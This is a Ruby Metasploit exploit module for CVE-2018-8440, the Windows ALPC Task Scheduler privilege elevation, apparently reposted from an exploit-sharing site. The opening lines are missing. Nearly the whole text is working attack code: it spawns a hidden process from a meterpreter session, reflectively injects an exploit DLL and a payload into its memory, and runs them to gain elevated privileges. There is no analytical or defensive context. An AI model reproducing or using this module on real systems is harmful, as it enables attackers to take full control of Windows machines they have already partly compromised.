Microsoft Windows ALPC Task Scheduler Local Privilege Elevation Exploit

    ))
 
    register_options([OptString.new('PROCESS',
        [false, 'Name of process to spawn and inject dll into.', nil])
    ])
  end
 
  def setup_process(process_name)
    begin
      print_status("Launching #{process_name} to host the exploit...")
      launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)
      process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      # Sandboxes could not allow to create a new process
      # stdapi_sys_process_execute: Operation failed: Access is denied.
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    process
  end
 
  def inject_magic(process, payload_dll)
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8440', 'ALPC-TaskSched-LPE.dll')
    library_path = ::File.expand_path(library_path)
    dll_data = ''
    ::File.open(library_path, 'rb') { |f| dll_data = f.read }
 
    print_status("Writing payload dll into process #{process.pid} memory")
    payload_addr = process.memory.allocate(payload_dll.length, PROT_READ | PROT_WRITE)
    written = process.memory.write(payload_addr, payload_dll)
 
    if written != payload_dll.length
      fail_with(Failure::UnexpectedReply, 'Failed to write payload to process memory')
    end
 
    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    exploit_mem, offset = inject_dll_data_into_process(process, dll_data)
    process.thread.create(exploit_mem + offset, payload_addr)
  end
 
  def validate_active_host
    sysinfo['Computer']
    true
  rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError => e
    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    false
  end
 
  def validate_target
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end
 
    if sysinfo['Architecture'] == ARCH_X86
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
 
    if sysinfo['OS'] =~ /XP/
      fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
    end
  end
 
  def exploit
    unless session.type == 'meterpreter'
      fail_with(Failure::None, 'Only meterpreter sessions are supported')
    end
 
    payload_dll = generate_payload_dll
    process_name = datastore['PROCESS'] || 'notepad.exe'
 
    print_status('Checking target...')
    unless validate_active_host
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end
    validate_target
 
    print_status("Target Looks Good... trying to start #{process_name}")
    process = setup_process(process_name)
    inject_magic(process, payload_dll)
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  rescue Rex::Post::Meterpreter::RequestError => e
    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    print_error(e.message)
  end
end
 
#  0day.today [2018-09-23]  #